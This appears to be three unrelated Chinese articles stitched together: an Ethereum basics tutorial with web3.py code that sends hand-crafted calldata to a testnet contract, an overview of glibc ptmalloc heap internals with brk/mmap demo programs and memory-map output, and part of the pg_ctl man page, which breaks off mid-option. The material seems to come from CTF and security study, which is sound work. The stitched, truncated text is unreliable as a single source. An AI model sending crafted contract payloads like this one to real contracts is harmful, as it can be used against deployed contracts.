4 个部分: - nonce: 已执行交易总数,用来标示该账户发出的交易数量。 - balance: 账持币数量,记录账户的以太币余额。 - storageRoot: 存储区的哈希值,指向智能合约账户的存储数据区。 - codeHash: 代码区的哈希值,指向智能合约账户存储的智能合约代码。 两个外部账户之间的交易只是一个价值转移。但是从外部账户到合约账户的交易会激活合约账户的代码,允许它执行各种操作(例如转移 Token,写入内部存储,创建新的 Token ,执行一些计算,创建新的合约等)。 与外部账户不同,合约账户不能自行发起新的交易。相反,合约帐户只能触发交易以响应其他交易(从外部拥有的帐户或其他合约帐户)。 !!! note 注:合约账户和外部账户最大的不同就是它还存有智能合约。 ### Ethereum Basics交易 以太坊的交易主要是指一条外部账户发送到区块链上另一账户的消息的签名数据包,其主要包含发送者的签名、接收者的地址以及发送者转移给接收者的以太币数量等内容。以太坊上的每一笔交易都需要支付一定的费用,用于支付交易执行所需要的计算开销。计算开销的费用并不是以太币直接计算的,而是引入 Gas 作为执行开销的基本单位,通过 GasPrice 与以太币进行换算的。 GasPrice 根据市场波动调整,避免以太币价值受市场价格的影响。交易是以太坊整体结构中的重要部分,它将以太坊的账户连接起来,起到价值的传递作用。 #### 交易费用 - Gas: 衡量一笔交易所消耗的计算资源的基本单位 - Gas Price: 一单位 Gas 所需的手续费(Ether) - Gas Limit: 交易发送者愿意为这笔交易执行所支付的最大 Gas 数量 !!! note 注:如果交易实际消耗的 Gas (Gas Used) 小于 Gas Limit, 那么执行的矿工只会收取实际计算开销(Gas Used)对应的交易手续费(Gas Used * Gas Price);而如果 Gas Used 大于 Gas Limit,那么矿工执行过程中会发现 Gas 已被耗尽而交易没有执行完成,此时矿工会回滚到程序执行前到状态,而且收取 Gas Limit 所对应的手续费(GasPrice * Gas Limit)。换句话说,**GasPrice * Gas Limit** 表示用户愿意为一笔交易支付的最高金额。 #### 交易内容 以太坊中的交易(Transaction)是指存储一条从外部账户发送到区块链上另一个账户的消息的签名数据包,它既可以是简单的转账,也可以是包含智能合约代码的消息。一条交易包含以下内容: - from: 交易发送者的地址,必填; - to: 交易接收者的地址,如果为空则意味这是一个创建智能合约的交易; - value: 发送者要转移给接收者的以太币数量 - data: 存在的数据字段,如果存在,则表明该交易是一个创建或者调用智能合约的交易; - Gas Limit: 表示交易允许消耗的最大 Gas 数量; - GasPrice: 发送者愿意支付给矿工的 Gas 单价; - nonce: 用来区别同一账户发出的不同交易的标记; - hash: 由以上信息生成的散列值(哈希值); - r、s、v: 交易签名的三个部分,由发送者的私钥对交易 hash 进行签名生成。 以上是以太坊中交易可能包含的内容,在不同场景下,交易有三种类型。 - 转帐交易 转账是最简单的一种交易,从一个账户向另一个账户发送 Ether,发送转账交易时只需要指定交易的发送者、接收者、转移的 Ether 数量即可(在客户端发送交易时,Gas Limit、Gas Price、nonce、hash、签名可以按照默认方式生成),如下所示 ```nodejs web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", to: "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f", value: 1000 }) ``` - 创建合约的交易 创建合约是指将合约部署到区块链上,这也是通过交易来完成的。创建合约时,to 字段是一个空字符串,data 字段是合约编译后的二进制代码,在之后合约被调用时,该代码的执行结果将作为合约代码,如下所示 ``` web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", data: "contract binary code" }) ``` - 执行合约的交易 该交易中,to 字段是要调用的智能合约的地址,通过 data 字段指定要调用的方法以及向该方法传入参数,如下所示 ``` web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", to: "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f", data: "hash of the invoked method signature and encoded parameters" }) ``` !!! info 根据 to、data 字段内容也可以反过来判断是什么类型的交易,然后可以继续分析。 ### Ethereum Basics Interact with Contracts - 直接通过 Remix 交互 - Remix 不能够做到自动化,所以便有开发人员做了一些工作 - Python 的 web3.py 库 - Nodejs 的 web3.js 库 - [Infura](https://infura.io/) 提供了 RPC API 供开发者调用,现支持 Ethereum、Eth2、Filecoin 使用 [Infura](https://infura.io/) 提供的 RPC API,利用 web3.py 或者 web3.js 库与其进行自动化交互 Infura 现支持如下网络的访问点: |网络 |说明 |URL| |-------------|------------------------|---------------------------------------| |Mainnet |JSON-RPC over HTTPs |https://mainnet.infura.io/v3/YOUR-PROJECT-ID | |Mainnet |JSON-RPC over websockets|wss://mainnet.infura.io/ws/v3/YOUR-PROJECT-ID| |Ropsten |JSON-RPC over HTTPs |https://ropsten.infura.io/v3/YOUR-PROJECT-ID | |Ropsten |JSON-RPC over websockets|wss://ropsten.infura.io/ws/v3/YOUR-PROJECT-ID| |Rinkeby |JSON-RPC over HTTPs |https://rinkeby.infura.io/v3/YOUR-PROJECT-ID | |Rinkeby |JSON-RPC over websockets|wss://rinkeby.infura.io/ws/v3/YOUR-PROJECT-ID| |Kovan |JSON-RPC over HTTPs |https://kovan.infura.io/v3/YOUR-PROJECT-ID | |Kovan |JSON-RPC over websockets|wss://kovan.infura.io/ws/v3/YOUR-PROJECT-ID | |Görli |JSON-RPC over HTTPs |https://goerli.infura.io/v3/YOUR-PROJECT-ID | |Görli |JSON-RPC over websockets|wss://goerli.infura.io/ws/v3/YOUR-PROJECT-ID | |Mainnet(eth2)|JSON-RPC over HTTPs |https://YOUR-PROJECT-ID:YOUR-PROJECT-SECRET@eth2-beacon-mainnet.infura.io| |pyrmont(eth2)|JSON-RPC over websockets|wss://YOUR-PROJECT-ID:YOUR-PROJECT-SECRET@eth2-beacon-mainnet.infura.io| |Filecoin |JSON-RPC over HTTPs |https://YOUR-PROJECT-ID:YOUR-PROJECT-SECRET@filecoin.infura.io| |Filecoin |JSON-RPC over websockets|wss://YOUR-PROJECT-ID:YOUR-PROJECT-SECRET@filecoin.infura.io| !!! note 注:使用时,请务必使用你的Infura仪表盘 中的项目 ID/Project ID 或 Project Secret 来替换以上 URL 中的 YOUR-PROJECT-ID 或 YOUR-PROJECT-SECRET 下面是使用 web3.py 和 Infura API 与智能合约进行交互调用合约函数选择器为 0x00774360 的函数的例子 ```python from web3 import Web3, HTTPProvider w3 = Web3(Web3.HTTPProvider("https://rinkeby.infura.io/v3/YOUR-PROJECT-ID")) contract_address = "0x31c883a9aa588d3f890c26c7844062d99444b5d6" private = "your private key" public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f" def deploy(public): txn = { 'from': Web3.toChecksumAddress(public), 'to': Web3.toChecksumAddress(contract_address), 'gasPrice': w3.eth.gasPrice, 'gas': 3000000, 'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)), 'value': Web3.toWei(0, 'ether'), 'data': '0x007743600000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001a6100016100016100016100016100016100650361000161fbfbf1000000000000', } signed_txn = w3.eth.account.signTransaction(txn, private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print("txn_hash=", txn_hash) return txn_receipt print(deploy(public)) ``` ### tx.origin vs msg.sender - 这里区分一下 tx.origin 和 msg.sender ,msg.sender 是函数的直接调用方,在用户手动调用该函数时是发起交易的账户地址,但也可以是调用该函数的一个智能合约的地址。而 tx.origin 则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,而且一定是账户地址而不是合约地址。 - 给定这样一个场景如:用户通过合约 A 调合约B,此时: + 对于合约 A : tx.origin 和 msg.sender 都是用户 + 对于合约 B : tx.origin 是用户,msg.sender 是合约 A
sec-knowleage
# 堆概述 ## 什么是堆 在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。 堆管理器处于用户程序与内核中间,主要做以下工作 1. 响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序。同时,为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。 2. 管理用户所释放的内存。一般来说,用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存的请求。 Linux 中早期的堆分配与回收由 Doug Lea 实现,但它在并行处理多个线程时,会共享进程的堆内存空间。因此,为了安全性,一个线程使用堆时,会进行加锁。然而,与此同时,加锁会导致其它线程无法使用堆,降低了内存分配和回收的高效性。同时,如果在多线程使用时,没能正确控制,也可能影响内存分配和回收的正确性。Wolfram Gloger 在 Doug Lea 的基础上进行改进使其可以支持多线程,这个堆分配器就是 ptmalloc 。在 glibc-2.3.x. 之后,glibc 中集成了ptmalloc2。 目前 Linux 标准发行版中使用的堆分配器是 glibc 中的堆分配器:ptmalloc2。ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。 需要注意的是,在内存分配与使用的过程中,Linux有这样的一个基本内存管理思想,**只有当真正访问一个地址的时候,系统才会建立虚拟页面与物理页面的映射关系**。 所以虽然操作系统已经给程序分配了很大的一块内存,但是这块内存其实只是虚拟内存。只有当用户使用到相应的内存时,系统才会真正分配物理页面给用户使用。 ## 堆的基本操作 这里我们主要介绍 - 基本的堆操作,包括堆的分配,回收,堆分配背后的系统调用 - 介绍堆目前的多线程支持。 ### malloc 在 glibc 的[malloc.c](https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L448)中,malloc 的说明如下 ```c++ /* malloc(size_t n) Returns a pointer to a newly allocated chunk of at least n bytes, or null if no space is available. Additionally, on failure, errno is set to ENOMEM on ANSI C systems. If n is zero, malloc returns a minumum-sized chunk. (The minimum size is 16 bytes on most 32bit systems, and 24 or 32 bytes on 64bit systems.) On most systems, size_t is an unsigned type, so calls with negative arguments are interpreted as requests for huge amounts of space, which will often fail. The maximum supported value of n differs across systems, but is in all cases less than the maximum representable value of a size_t. */ ``` 可以看出,malloc 函数返回对应大小字节的内存块的指针。此外,该函数还对一些异常情况进行了处理 - 当 n=0 时,返回当前系统允许的堆的最小内存块。 - 当 n 为负数时,由于在大多数系统上,**size_t 是无符号数(这一点非常重要)**,所以程序就会申请很大的内存空间,但通常来说都会失败,因为系统没有那么多的内存可以分配。 ### free 在 glibc 的 [malloc.c](https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L465) 中,free 的说明如下 ```c++ /* free(void* p) Releases the chunk of memory pointed to by p, that had been previously allocated using malloc or a related routine such as realloc. It has no effect if p is null. It can have arbitrary (i.e., bad!) effects if p has already been freed. Unless disabled (using mallopt), freeing very large spaces will when possible, automatically trigger operations that give back unused memory to the system, thus reducing program footprint. */ ``` 可以看出,free 函数会释放由 p 所指向的内存块。这个内存块有可能是通过 malloc 函数得到的,也有可能是通过相关的函数 realloc 得到的。 此外,该函数也同样对异常情况进行了处理 - **当 p 为空指针时,函数不执行任何操作。** - 当 p 已经被释放之后,再次释放会出现乱七八糟的效果,这其实就是 `double free`。 - 除了被禁用 (mallopt) 的情况下,当释放很大的内存空间时,程序会将这些内存空间还给系统,以便于减小程序所使用的内存空间。 ### 内存分配背后的系统调用 在前面提到的函数中,无论是 malloc 函数还是 free 函数,我们动态申请和释放内存时,都经常会使用,但是它们并不是真正与系统交互的函数。这些函数背后的系统调用主要是 [(s)brk](http://man7.org/linux/man-pages/man2/sbrk.2.html) 函数以及 [mmap, munmap](http://man7.org/linux/man-pages/man2/mmap.2.html) 函数。 如下图所示,我们主要考虑对堆进行申请内存块的操作。 #### (s)brk 对于堆的操作,操作系统提供了 brk 函数,glibc 库提供了 sbrk 函数,我们可以通过增加 [brk](https://en.wikipedia.org/wiki/Sbrk) 的大小来向操作系统申请内存。 初始时,堆的起始地址 [start_brk](http://elixir.free-electrons.com/linux/v3.8/source/include/linux/mm_types.h#L365) 以及堆的当前末尾 [brk](http://elixir.free-electrons.com/linux/v3.8/source/include/linux/mm_types.h#L365) 指向同一地址。根据是否开启ASLR,两者的具体位置会有所不同 - 不开启 ASLR 保护时,start_brk 以及 brk 会指向 data/bss 段的结尾。 - 开启 ASLR 保护时,start_brk 以及 brk 也会指向同一位置,只是这个位置是在 data/bss 段结尾后的随机偏移处。 具体效果如下图(这个图片与网上流传的基本一致,这里是因为要画一张大图,所以自己单独画了下)所示 **例子** ```c /* sbrk and brk example */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> int main() { void *curr_brk, *tmp_brk = NULL; printf("Welcome to sbrk example:%d\n", getpid()); /* sbrk(0) gives current program break location */ tmp_brk = curr_brk = sbrk(0); printf("Program Break Location1:%p\n", curr_brk); getchar(); /* brk(addr) increments/decrements program break location */ brk(curr_brk+4096); curr_brk = sbrk(0); printf("Program break Location2:%p\n", curr_brk); getchar(); brk(tmp_brk); curr_brk = sbrk(0); printf("Program Break Location3:%p\n", curr_brk); getchar(); return 0; } ``` 需要注意的是,在每一次执行完操作后,都执行了getchar()函数,这是为了我们方便我们查看程序真正的映射。 **在第一次调用brk之前** 从下面的输出可以看出,并没有出现堆。因此 - start_brk = brk = end_data = 0x804b000 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ./sbrk Welcome to sbrk example:6141 Program Break Location1:0x804b000 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6141/maps ... 0804a000-0804b000 rw-p 00001000 08:01 539624 /home/sploitfun/ptmalloc.ppt/syscalls/sbrk b7e21000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` **第一次增加brk后** 从下面的输出可以看出,已经出现了堆段 - start_brk = end_data = 0x804b000 - brk = 0x804c000 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ./sbrk Welcome to sbrk example:6141 Program Break Location1:0x804b000 Program Break Location2:0x804c000 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6141/maps ... 0804a000-0804b000 rw-p 00001000 08:01 539624 /home/sploitfun/ptmalloc.ppt/syscalls/sbrk 0804b000-0804c000 rw-p 00000000 00:00 0 [heap] b7e21000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` 其中,关于堆的那一行 - 0x0804b000 是相应堆的起始地址 - rw-p表明堆具有可读可写权限,并且属于隐私数据。 - 00000000 表明文件偏移,由于这部分内容并不是从文件中映射得到的,所以为0。 - 00:00 是主从(Major/mirror)的设备号,这部分内容也不是从文件中映射得到的,所以也都为0。 - 0表示着Inode 号。由于这部分内容并不是从文件中映射得到的,所以为0。 #### mmap malloc 会使用 [mmap](http://lxr.free-electrons.com/source/mm/mmap.c?v=3.8#L1285)来创建独立的匿名映射段。匿名映射的目的主要是可以申请以0填充的内存,并且这块内存仅被调用进程所使用。 **例子** ```c++ /* Private anonymous mapping example using mmap syscall */ #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> void static inline errExit(const char* msg) { printf("%s failed. Exiting the process\n", msg); exit(-1); } int main() { int ret = -1; printf("Welcome to private anonymous mapping example::PID:%d\n", getpid()); printf("Before mmap\n"); getchar(); char* addr = NULL; addr = mmap(NULL, (size_t)132*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) errExit("mmap"); printf("After mmap\n"); getchar(); /* Unmap mapped region. */ ret = munmap(addr, (size_t)132*1024); if(ret == -1) errExit("munmap"); printf("After munmap\n"); getchar(); return 0; } ``` **在执行mmap之前** 我们可以从下面的输出看到,目前只有.so文件的mmap段。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap b7e21000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` **mmap后** 从下面的输出可以看出,我们申请的内存与已经存在的内存段结合在了一起构成了b7e00000到b7e21000的mmap段。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap b7e00000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` **munmap** 从下面的输出,我们可以看到我们原来申请的内存段已经没有了,内存段又恢复了原来的样子了。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap b7e21000-b7e22000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ``` ### 多线程支持 在原来的 dlmalloc 实现中,当两个线程同时要申请内存时,只有一个线程可以进入临界区申请内存,而另外一个线程则必须等待直到临界区中不再有线程。这是因为所有的线程共享一个堆。在glibc的ptmalloc实现中,比较好的一点就是支持了多线程的快速访问。在新的实现中,所有的线程共享多个堆。 这里给出一个例子。 ```c++ /* Per thread arena example. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/types.h> void* threadFunc(void* arg) { printf("Before malloc in thread 1\n"); getchar(); char* addr = (char*) malloc(1000); printf("After malloc and before free in thread 1\n"); getchar(); free(addr); printf("After free in thread 1\n"); getchar(); } int main() { pthread_t t1; void* s; int ret; char* addr; printf("Welcome to per thread arena example::%d\n",getpid()); printf("Before malloc in main thread\n"); getchar(); addr = (char*) malloc(1000); printf("After malloc and before free in main thread\n"); getchar(); free(addr); printf("After free in main thread\n"); getchar(); ret = pthread_create(&t1, NULL, threadFunc, NULL); if(ret) { printf("Thread creation error\n"); return -1; } ret = pthread_join(t1, &s); if(ret) { printf("Thread join error\n"); return -1; } return 0; } ``` **第一次申请之前**, 没有任何任何堆段。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread b7e05000-b7e07000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **第一次申请后**, 从下面的输出可以看出,堆段被建立了,并且它就紧邻着数据段,这说明malloc的背后是用brk函数来实现的。同时,需要注意的是,我们虽然只是申请了1000个字节,但是我们却得到了0x0806c000-0x0804b000=0x21000个字节的堆。**这说明虽然程序可能只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。**我们称这一块连续的内存区域为 arena。此外,我们称由主线程申请的内存为 main_arena。后续的申请的内存会一直从这个 arena 中获取,直到空间不足。当 arena 空间不足时,它可以通过增加brk的方式来增加堆的空间。类似地,arena 也可以通过减小 brk 来缩小自己的空间。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread ... sploitfun@sploitfun-VirtualBox:~/lsploits/hof/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7e05000-b7e07000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **在主线程释放内存后**,我们从下面的输出可以看出,其对应的 arena 并没有进行回收,而是交由glibc来进行管理。当后面程序再次申请内存时,在 glibc 中管理的内存充足的情况下,glibc 就会根据堆分配的算法来给程序分配相应的内存。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread After free in main thread ... sploitfun@sploitfun-VirtualBox:~/lsploits/hof/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7e05000-b7e07000 rw-p 00000000 00:00 0 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **在第一个线程malloc之前**,我们可以看到并没有出现与线程1相关的堆,但是出现了与线程1相关的栈。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread After free in main thread Before malloc in thread 1 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7604000-b7605000 ---p 00000000 00:00 0 b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:6594] ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **第一个线程malloc后**, 我们可以从下面输出看出线程1的堆段被建立了。而且它所在的位置为内存映射段区域,同样大小也是132KB(b7500000-b7521000)。因此这表明该线程申请的堆时,背后对应的函数为mmap函数。同时,我们可以看出实际真的分配给程序的内存为1M(b7500000-b7600000)。而且,只有132KB的部分具有可读可写权限,这一块连续的区域成为thread arena。 注意: > 当用户请求的内存大于128KB时,并且没有任何arena有足够的空间时,那么系统就会执行mmap函数来分配相应的内存空间。这与这个请求来自于主线程还是从线程无关。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread After free in main thread Before malloc in thread 1 After malloc and before free in thread 1 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7500000-b7521000 rw-p 00000000 00:00 0 b7521000-b7600000 ---p 00000000 00:00 0 b7604000-b7605000 ---p 00000000 00:00 0 b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:6594] ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` **在第一个线程释放内存后**, 我们可以从下面的输出看到,这样释放内存同样不会把内存重新给系统。 ```shell sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread Welcome to per thread arena example::6501 Before malloc in main thread After malloc and before free in main thread After free in main thread Before malloc in thread 1 After malloc and before free in thread 1 After free in thread 1 ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps 08048000-08049000 r-xp 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 08049000-0804a000 r--p 00000000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804a000-0804b000 rw-p 00001000 08:01 539625 /home/sploitfun/ptmalloc.ppt/mthread/mthread 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7500000-b7521000 rw-p 00000000 00:00 0 b7521000-b7600000 ---p 00000000 00:00 0 b7604000-b7605000 ---p 00000000 00:00 0 b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:6594] ... sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ``` ## 参考文献 - [sploitfun](https://sploitfun.wordpress.com/archives/)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "PG_CTL" "1" "2003-11-02" "Application" "PostgreSQL Server Applications" .SH NAME pg_ctl \- 启动,停止和重启 PostgreSQL 服务器 .SH SYNOPSIS .sp \fBpg_ctl\fR \fBstart\fR\fR [ \fR\fB-w \fR\fR]\fR\fR [ \fR\fB-s \fR\fR]\fR\fR [ \fR\fB-D \fIdatadir\fB \fR\fR]\fR\fR [ \fR\fB-l \fIfilename\fB \fR\fR]\fR\fR [ \fR\fB-o \fIoptions\fB \fR\fR]\fR\fR [ \fR\fB-p \fIpath\fB \fR\fR]\fR \fBpg_ctl\fR \fBstop\fR\fR [ \fR\fB-W \fR\fR]\fR\fR [ \fR\fB-s \fR\fR]\fR\fR [ \fR\fB-D \fIdatadir\fB \fR\fR]\fR\fR [ \fR\fB-m \fR\fB s[mart]\fR | \fBf[ast]\fR | \fBi[mmediate]\fR\fB \fR\fR]\fR \fBpg_ctl\fR \fBrestart\fR\fR [ \fR\fB-w \fR\fR]\fR\fR [ \fR\fB-s \fR\fR]\fR\fR [ \fR\fB-D \fIdatadir\fB \fR\fR]\fR\fR [ \fR\fB-m \fR\fB s[mart]\fR | \fBf[ast]\fR | \fBi[mmediate]\fR\fB \fR\fR]\fR\fR [ \fR\fB-o \fIoptions\fB \fR\fR]\fR \fBpg_ctl\fR \fBreload\fR\fR [ \fR\fB-s \fR\fR]\fR\fR [ \fR\fB-D \fIdatadir\fB \fR\fR]\fR \fBpg_ctl\fR \fBstatus\fR\fR [ \fR\fB-D \fIdatadir\fB \fR\fR]\fR .SH "DESCRIPTION 描述" .PP \fBpg_ctl\fR 是一个用于启动,停止, 或者重起 PostgreSQL 后端服务器(postmaster), 或者显示一个运行着的服务器的状态的工具, 尽管我们可以手动启动服务器,但是 pg_ctl 封装了重新定向日志输出, 与终端和进程组合理分离,以及另外提供了一个选项用于有控制的关闭。 .PP 在 \fBstart\fR 模式里会启动一个新的服务器。 服务器是在后台启动的,标准输入被附着到了 /dev/null 上。如果使用了 -l,那么标准输出和标准错误被定向到一个日志文件, 要么就是重新定向到 pg_ctl 的标准输出(而不是标准错误)。 如果没有选定日志文件,pg_ctl 的标准输出应该重新定向到一个文件或者用管道输出到另外一个进程, 比如那些日志旋转程序,否则,postmaster 将把它的输出写到控制终端(在后台)并且将不会脱离 shell 的进程组。 .PP 在 \fBstop\fR 模式下,那个正在特定数据目录运行的服务器被关闭。 你可以用 -m 选项选择三种不同的关闭模式:"Smart" 模式等待所有客户端中断联接。 这个是缺省。"Fast" 模式并不等待客户端中断联接。 所有活跃事务都被回卷并且客户端都强制断开。 "Immediate" 模式将在没有干净关闭的情况下退出。这么做将导致在重新启动的时候的恢复。 .PP \fBrestart\fR 实际上是先执行一个停止,然后紧跟一个启动。它允许变换 \fBpostmaster\fR 命令行的选项。 .PP \fBreload\fR 模式简单地给 \fBpostmaster\fR 发送一个 SIGHUP 信号,导致它重新读取她的配置文件 (\fIpostgresql.conf\fR, \fIpg_hba.conf\fR 等等) 这样就允许修改配置文件选项而不用完全重启系统来使之生效。 .PP \fBstatus\fR 模式监查一个服务器是否在指定的数据目录运行, 如果是,那么显示其 PID 和调用它的命令行选项。 .SH "OPTIONS 选项" .PP .TP \fB-D \fIdatadir\fB\fR 声明该数据库文件的文件系统位置。 如果忽略这个选项,使用环境变量 PGDATA。 .TP \fB-l \fIfilename\fB\fR 把服务器日志输出附加在 filename 文件上。 如果该文件不存在,那么创建它。umask设置为 077, 因此缺省时是不允许从其它用户向日志文件访问的。 .TP \fB-m \fImode\fB\fR 声明关闭模式。mode 可以是smart, fast, 或者 immediate,或者是这三个之一的第一个字母。 .TP \fB-o \fIoptions\fB\fR 声明要直接传递给 \fBpostmaster\fR 的选项。 参数通常都用单或者双引号包围以保证它们作为一个整体传递。 .TP \fB-p \fIpath\fB\fR 声明 postmaster 可执行文件的位置。 缺省时 postmaster 是从和 pg_ctl 相同的目录取出,如果不是, 那么就是写死的安装目录。除非你想干点什么特别的事情,并且得到类似没有找到 postmaster这样的错误, 否则没有必要使用这个选项。 .TP \fB-s\fR 